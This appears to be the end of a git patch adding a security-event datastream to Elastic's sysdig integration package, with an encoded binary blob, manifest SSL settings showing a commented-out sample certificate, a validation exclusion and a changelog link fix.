zb$LseHuBV}ODKVo(JA^qlnXqV&_A5+)lpMrh=!DT4SV2s>$(r<=Bct|Nr6m>5N51|vw>An&FrlZ4$*sOlpiM2SOT$>QAw$R{QW7t3)pXk z&@;uAhF4dZ!y`B7^&BM`VRjga>74CS@To5WjWR|RI{QZwXmW;aSk*V05?cZFo@d+5 z4~ENZA!VTSWgpV8ytNK;A$1;;ZI(yd>{}4sn%|)KM2rEHjpADP0;5Wu$ci2F&lrty-li3Ochvy24d~|g`^z@?o<|Xv$e53; zydPI+**TB{JkeD2R@#V<3YU8t>J5|{*aOapwD=*>OB;EjQh8D8fVm{-=!rO8Bx-p0 z+&At|m0}x3vMy0g-0L8F*~^$+fo1t_gWYk+|$%YV!uX?O82`3#Ym12%I@O4pr(%|<3dE` zd_Nw?`mcVw<*>U-H~Si;QpNJ+CS84{D}ZD-o`^M3%;z#n_--Ow?7$cUapRJ%s2;R`V8$pEYAP>O6keB{IOrV5ATMl z>YMS%AJW)J*M5!RZ)SS+xDQ7sp&||jcO$}pUAHr|M3L6ckT+?rB(`soL-^lVfZLfY z-8#9)_Vtw(h|`}iV|UUAKp*N@&h!-e*Tb}!u#PG(!~L|NSTg{ooOO}VpBZ67>g zLK_o!W7zeZ;&~l#ETfrF!YtVJ{iq%ra)4w8oc}}#osbi)N-%ikVvV@^Yl{@#%-YL^ zclG3pnDqu~iO%i{%k-FGdM`n3syi&Xi$EkBJJbgt+Y>sba4wQ9A0!7q;aqA>iW<;r zdBjLD3bZZBj;U&SW;1c3mxW~j{N8|5s~EELKBi^x7gJ2p9oJLAg@PDzyjK_th1wQu zpJ-lAJK{zW1b_$1AzW#YHjCJTb-pKY(nNl>m;rio+Sj{&$YBpanAn*?dO^08Q(%m2 zJAGnq=Ukp(T7diUe_JC?uu|h@h3Z~#rHs02xiPTG)=)uH#bm&TFCgOBG59-l3dHJt!=0sa;dawD?A9`{Z`b2C zd!uvL3?Z65=MpVX1&D`i;=$1@m$*fpqFajQ6#GUSh(v%O3|q0W>tsV}c44Q7j%8@^ z-Vd(CigYi9RIXzukA4~xa}w0f2r7(}(o$okv8V+%BHh5zx`qG_!0TAn?D+~VjRXbF z;P-(J_etLrp7&p5?=G(GuO)K#-B{I@hRPb%hqDzp9Wv*P>}(c&U-a3vNBYB2ZM8(W zJx2v<3=imzCH6;~Di?QbqG%)7oa2{6_d1gm83aFB$Uda&66#DVYTGpb7Ib97(nxLQ z*!emVN>ZFlo#-EI`#>YwWx2wd?t0y#I4EE%;BH?a6H0z;Y2sP%8IRPhF=}&IMxS`* zL84|$E~Q|1Tfe-qf=e7o?14bv?M_L#(?**14WeHmx6FVREc{@cT*g)!(~Vk5fTezDY7ZVJ?;EBHKZs@9d5aQ6_@Hr{#Ct`&>4$dWr4ywf3}BfJ&ak~v zH{UbfNQ9(bn2>9zOSuW`?&aUKm4CfvPgo!65d|ilCw~f9ilBG{+m7tRm&J?mKg!j+ zCXWM5+1jyTzy7eSOSv?6{cEO zP;2%OLp{5RpgDH2k}QLkPkLp~+{(4e7;1Q&o;TRXsv^+BusxlbQpzh7-l8=rrQsF; zz0gP4@O=c)i)wZo(w)J^$61OwK|LQ_8Om#V|Ib??C$uD72h826GoAd#QizZZfdNLU*7f(Hy zM3K^pJ~RmwRclB<$F2z1*BJxk;>d!XC8ixXl_=_VFUZ8|r>%QU(W7W-<8;?HARK06 zggMqv%;-c9Y+73+-M2_2)c7Cxcqb4=Gy}370>x*_si;QO`8GnE;Z?#7z$8erIgnrT zsOt%nJs$P|>{1@4!k%hP;IHj3ZBzJW*-a}eEk5-516(t3TJgJ<82gaHb(s^w;Gg!Y z5Pa`^W=(rnR;OvE3GpvM?rVRA_-QQOIUu%!#phq+Hk;+3l$?gDT%si zem?Bo4R49wcT-JvQyE5rJX7ANMI?>g#fimp4;N9Z?79@9&>alCbBbGET)3P;EV1u> zMp4XVYl+16as?~2Uv>(sN;rK7`Lr?NH=XYT$6yqYe$rQNN>vlNu;NzN$reIUi71_} zn3>gKCN^~KS$QUldd31Yd2fe=m}N4wB?VT4Ji1>jXYf_Tz^o~=BO|%oYZM0Sv|fIQ zkVs5a|b?lZ!_y|xBcJ-fR(c2VlJzXmm> z?wTb^JpYwQe3!hRM`una=5f>#p>AOhJ}$47Q)#F?rkx}UVFIY9n#H8%z@WhLJt$5% z^Q2F1VPJHSV*-c&SYKD-HLQnWp>v=ZbYF~QkmH)iTp0Wl>oxym*P0Gf;eFFaZDvgd z!Saqv{6#gp&Xi)DZh%n$u0hdcbvXZ0?gAspk(%M5ReZn$*9Lf>qx=FNwc>i%OHs=} zbQMYLZ)?BeX3{cSOnswj#GQWjf_Gfla6D9U<0>qWac^HFk(M39!*#c=m38z;4oV2UF zw0s;|!``>1H&ZR%bHFJN3+S$^0&3y5qU{g33;$R=84jg=+?YytD1vD$KIgpzBWKLTUhHMoPKp|567`!0?A_!ZN z2ER&Y@bnmE<$7Sv=?ByqkjM>OGVRYdgiliZcNqsjk0Y{J)YL9ITLvv1dz4tF&xo-< zQF;F@Yg@lVd57<{sO#6xAU$&p$ai^9(!fPNs9&@z6QB2Wkm#r_>dGo#0e#HJ6MwvA zX^U*2#>Pz?*IVAbwQe2thJQP!OAW5D=q3*Dor;iu7Uam0(L;Iy&;Z4{o{x${KQown zEb~%iB_U+7=a^*AUVx1n>j31lzNp_H>ge1XC?mLRBiYM;r_r#R-l}$V-cESa1i9|7 zeh*}w#5EH~RZ^|^Y}gLr$_$!(=fV_RnO$om4#M;1h5(+h<{iP}1L9$-@+??!Y2@14 z@u^H8DBY5hTd6-}3V=X=_J08D_H<;TJrp@L20h<$_BU)HP2LnWg*@=7Tj7DihV6>H zf*u#H^Xw4D@Ag>=0tCDkdZ3o*6TdZT6{H$k98DW81m!|V=#QVHha3iaoSM?SIvr}& zs;nW{UDllLKzHouaVOy#pkn2dCVGQGIdFI&6G}MH49da%)@4ZGhH3P3-00?0LY2? z6dYa<%Cn$>J9F(ltTNy?IdNp`SoN{_ay_vJ^Rg&#wlQVL*Q$0H+}8`!XGB!_t&6bT z={q>GOzaM!1yYz|=kbM%l&PwpvU7(xIU?>haR}`~2D&P!51<_(c^| z9H(kcK3_hdWEgOBiYpN7PGqHu4<%IYjt~dkUmBoEXUZd-u?=4Wp|vb8GJveO5HolY z76w)fWtZqC4aaT8>Z*c|SD?1WX3WnbDr4aYo$JM9?HmOV;3<~v4)gG03-|B{Y!&p$ z3e&!P(pvvW$!^;cFCVmj?MY=GdHvOEBJ`ug>8XdURM6?PcBYBb2 zw$);8Fi}Gh1}LItxIQ6XTTT+V9V6>|6j}j?h}muuaTY@8oKFkcNs82??B`_r>lA^= zO{g8gv`@r)xmWA?9Do*|PTiG@L40ol=ut7h4}hW&zWY|#joA)}&_rYwYX*d);$g8+ z?5)Q|F`>7T6Jp{MpnpMUe#3NfcdB>7;JiQ;*G_u7eMzcyQFuzvFqfxup`ZZXze`-% zBYLp=+x|3=^4)+h0j1A3U+u1TGp9IiQ*eIkC^hcu#72!h(WL*AVl2xJUI{`eh9Q|HNZv) z8)Tv-=A4$rJR0lTOG6`LBQOGNSjIBtDwiDO5fFxt8s6>jFK#0c&-sd zsWpi9`G!x|-nX$uC|+TeAL_=e&H1`)TT#}gn)K`DEC_?1hwg=&(4F=})MnPaoIBJ1 zx^Ug9U(_V&jp+b9S;Fyi`C&N_-d~}~f?JX~0{Mo;BDn$;rCg5tH>efL9@aq&tswoE zS*`(lrEfcSC4jsi8`87Tn0)`Mu96i}d|;`1P2aYORknj@3}}R^^}Xew$UN0E#i?Mj zd%m6B-5;E?2Sl@m7QBrZo%`#zSQh%zJ{(`d;$JL>4X|8b4i|TPk;?9o0dXK;%e=;Q zb6E76+SJ_SuTVYlNSjAEc{YB{3l{E%0WKtO&ERG)iGr1K*B*%IGF4dhvu*tf3NkYt z5~YXsGnxBb2)d}1&4a^Sa-uc+>I`|I%x-J2%F28X%k?s=&VSpG8ZZGt$7`L=tm zFswkQ{NxX5Ez`EC=Tv)(x=Ipryckh>qkSMerk04(ltDrkAQ3fVJWE>vv=hjBy%SO> zq^CJnBXILmZ|z$ki?r2~`QUv0E=szfa&*(;`vLbt0~A+z-TlNqNQ#co}M<>?wX%v-w6QmRjcpA`2QoTPtioL#Co4@b88@9zWotfJWqDv%q zEM&#^k?I>8gh5H7uh)Uy1xH6RrNBWLVy#P8lPp`QN_L(yJ&&o31s_>;q`q3z?^}Ph zNG**YLoOG?%XY`|_HD5|nSnY`@0#1JcEzwo(l9u-h=rwhOCGM$SMjc*xW%~$ZUs;^ z@lXp(>qVr=mo^|@@FJyUJ;#A0=DTqM>$v0ba;~lTcBJ%13TOs{_UVYr39c@zZBrnd z?h{P$GvY5O<8)hg;z#FHc$-cu7B#6yZ>TElal zEy5Ff71DY=GH0soCd(62o{fnywcn6PESuIyLb(46BdkQeu&TXQU<4_TIeXLm>TnyJ zj2J)h8$$Fv?`5*;28GDj?DSFJg|*3o{lSQ9hZYhY?* zru^2^`wd@w6#7zgOPo4f5kJ*IoTz`)$$Cf#59(n`F1^ejBT&k!L(9eq{W zMk#Q1-Q!7YfhP~y6@lAH9KXTwfgb0ZOYh=5yk=JaF97Jvmr(#R{5rqaA7F_GRxoew zOj}Pp%^qX>os)?&On1(J-i@D;d+HWa`Sc_5L*uoC6p5z3M#ri5H`;jfPrhrv^Yvx( z8N|G5$Cr?-1cL-e->0KrM9!4n(CkBHJ&L1w#eNEG{dvyE7p!Ic%DefiQ|jEM10Vcc z{g$`l)^|m#6#&eCidX675gOXV3)dI)uPWa*JFvd*7x53DqUP2 zDBVt}>8bTD_7Yx8ZP$Wsc$Y!2#b(_zlewLG;nXLyx93m!WL#eKh> z8~LxE{O|4v^b%aHSK*1sPBG=a)^}aG0S%vgeIekqIsz`BW~UwD-o-vx)HHUdS_Qpf zT({e1#Z}7d2FPzj?zObG$~?pKS!`Usz;U`I;ABowk!sW4&j|lZRG@);;Qgll(IAO8IApkPhx6&k5Vx`Nfu}0rHxOsf~q&g+_v?*!sr$)5Yku z!m^cFp*+E(pP6l3LP6Inss>Prunva^;B5+3mF#f|;QNAqniC#Ufmkfoc#R-w)2(`4 z`N@;JG6%c6yKxfxD>s_EBG#syp`Ti?6%7&ZU#m}LBCIsMBQ2%&v~5P>%&sUZ7MCWo zD(>NLB$x9VqHAseW!okNjLgqSj=4g84OVtHIVWSyLZ_;ycAE$ShRO~8@X4g|gRB1Q zq=rUamCf+=-cM4S{ZUiD5SAe>)TynhXnlrXeQl{9o?W`|;UYI6IO@10;A8jgd*<5s ze(0Cayo$>K#4d2>t%z)(Ok&r?Ed{hUpqf%To?^SU$0VFhTyZgH3~rr%H=co3;elN# z+H1`$eX$T6`GVz=6fZbd<9!q(t6HsnXF}A$tg!K!sFiAYZr|&BCW0 zx8AR8`o+NmQT-%>L|qN{@&B^CzsJi} zDe$WKB`Z0QT9&qB?^<(A%wsp)kgCXwZdJDpP0TOyGR|gLlIJ}jdn&>GnzB+$Y?>Eg zvzdPQW6GuYfG||DHg!Y5>LUCE(^GPRgRXx0wW5YKa`p72VnpNxi;Gd&qvx_yM5UNL z1w6Ri$cx>UiR%;lx)z zTTb`XjG{6dwC_z$YvHF;@VF+8u*>(gLW`-R7>=fxJ!h@qurQ)+$6*)FI`r9PD_{bq z5l_IZ~KAR`K;9|bkFLkip^)p&^YVy@oL};f4D&re;t}|Kx zNAN&ji6wfC)hc4*LJ|+itn$Im$U|M@I3BSq?e{_!sHM`eSCt1eSCn2V5!g;)E78)r zr~h(ce|O~X3oc{pw%9@uht@DD^3a#+^zBOi(VAUt?F09{)sXC`!;?Fa2yczN?J)|^ zPoS7v?`P0(P0bSe?bBcHV?NM4Tkp(!oNqH3&8}-H!}tFEZdTfIb!qz3p^`LRxhJN6 z2P5TuCE~+R66CIVYmK<@Qd;wiGi6^8>$Bw;{K&7u?&03#D(HNS3xn)5$knQJv{W~K z&<3CDuJvC~SC>T+BM=txa0ckE={vdX(a01cqLrG8wm zH|tsK3OvKTEXosrpX*B0ULExuS-o__z7sinH9A?uUF)`qoJ&L{=k5^Rd8VE)To3au zFt53V-ue2Y)ORx=v-V}woY;QEIjn?_?KTZCs;0_-2NGTJz4kxH_Ah_*m7A715L%Wm zCjCZI`b~ANHjD+Txbw{HYy=NiGWp)ZXf4K{ZZUY6E2LW@Dj|^%xjzFDc-q=uI|&JJ ze{Al%fVd(nAn>URz1htNn5ZEAp^1Ku0o=J+%Yz%if9S}-aDk6Y(R(Xf{ukQp=sD$#?(uQj&_VW-hUK;?j|z+~a-nTiZpYlY|gw?KZ_k}OZcNYyz z*8)C>E%ZW+3LXvTxS$4y?<;IofKl&RyzLVmIyz2cS6ps~t8{u?d-2-|-v_!tX7=v6 zKRRLSz*NPpd(mC>*R!;4hWBa7*XVw6pX-cVy4um&>bU2$F}rwC%=vl$;J~j>u(^k0 zA}W&pMkXfbsy-y24Q5O}D~b28Sjxej-csCN&dJRUk+v240<3Lylog7IZ~M=S{@->M z=RqJdQ3dXr?Qq#CETkwrzo_o^t^7fimi96!pViORkj81` z>~!3mnev6E8HB|pgq5$GK_UJl`LVu5c^6B!T>yC_&ZtysB}wKoXvorx^Yzi4$fzhb z=BZoFUFyWy<(_(&9QAwK+EnVE_^sIvEMK$yNA0r28Wf7(YZ)8EFkD=096uJ4h$}P$ zluzV0Tc)KZ8CGX=YNYSs>IvIKs?YV-Il=c@J-I#7QKjDF4MA_TULFZNe*th8+h=e5 zVWB({7=C*dV8kEV_TJ*AB>BnwXg)^4J6Yn@r&=%K``71eVSqcNgJ2F6Zk-qUfUxuj zF>5uD5PVa!oW-Ggdv%RuJd79|XJL3cf6SC?czD=t=A2b{qH~>)FKM2ec?%cLDSPV; zGiSmedB?p=i*9T>WpG+`<%j0?#;Y&)C!3l2EJ|8*zy53W!loBLt6Cn-+(^%Jgr5YK zAhh3_)z7YjxK~0D6*wH#_JWnto!aYAJWNupOzL4iqoY z9OGKA(YLv`HZOkl;K!VjLW@O7Rd~v&0T75{9Kr2*U#2nZRb_{+yF2h^T)($Q^Ap63 zjXQvgvibRr>FLh8-BWPO^u;^lubQ7NaqSS(N)HVr^XRKeL3z5}>wmIICC;-$R@K7{ zZ_}Rr-d1+s0=AWfPdU!s{bR3JUgJeV%{DSkf4i_zU@J2yub9X8$2;er1%|KHK^G`( zOMeWh3%EPZWGP#qMSr^UUn@el0`T-@8}1K5e=z317mYxPTRJ$_epVc#||}I?jIX@YW^K9j3;XEt@kiLH_p-fCl&}M;kV|)UWl?l^Q)Xf3sd_W z?I?4${U!g$QKH-O=$Pp~ZhQO($nE>uzD=`3@Ycmy3PeIVVnw>A*3Mb^N0$^*lMQiM z?8p(?c-04Y4NNJc*blmK7_sohVZrpq`Un5}1ObLEF#KwXPa8Q0TYW8Dpw&;zDe4{$ zi%Kp9k2dKV49TKAJKpc^T5z>sjQ_Z4`+ML^tOA8BWSYppPb>3ecDLmDpQFIGw+Ax1 zB^*GHcOV^{V;WJO!I^j z+Z+D3mCRl(TvZ@5NP4A~HI8L4>hj;y<4+f^$7oeu6Z=52zMIW^EV%kw>FI9rsl`pU ze|-9}Q$y-X_7K%S-SO|YR{DJO&>g%hhWzurjzJ6mI1B%CjzoS2%rzt0q*GhPYmdv8~&:@:. Please ensure your username and password are in URL encoded format. + - name: ssl + type: yaml + title: SSL Configuration + description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details. + multi: false + required: false + show_user: false + default: | + #certificate_authorities: + # - | + # -----BEGIN CERTIFICATE----- + # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF + # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2 + # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB + # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n + # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl + # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t + # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP + # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41 + # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O + # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux + # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D + # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw + # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA + # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu + # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0 + # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk + # sxSmbIUfc2SGJGCJD4I= + # -----END CERTIFICATE----- owner: github: elastic/security-service-integrations type: elastic diff --git a/packages/sysdig/validation.yml b/packages/sysdig/validation.yml new file mode 100644 index 00000000000..1189aa63c89 --- /dev/null +++ b/packages/sysdig/validation.yml @@ -0,0 +1,3 @@ +errors: + exclude_checks: + - SVR00004 # References in dashboards. From 6f1025746c340deda870e4bf33cabc59ddbeeadd Mon Sep 17 00:00:00 2001 From: brijesh-elastic Date: Mon, 21 Apr 2025 19:20:50 +0530 Subject: [PATCH 2/2] Update changelog entry --- packages/sysdig/changelog.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/sysdig/changelog.yml b/packages/sysdig/changelog.yml index cd71b9d607f..9cbc0690a93 100644 --- a/packages/sysdig/changelog.yml +++ b/packages/sysdig/changelog.yml @@ -3,7 +3,7 @@ changes: - description: Add support for security event datastream. type: enhancement - link: https://github.com/elastic/integrations/pull/1 + link: https://github.com/elastic/integrations/pull/13626 - version: "0.3.0" changes: - description: Update Kibana constraint to support 9.0.0.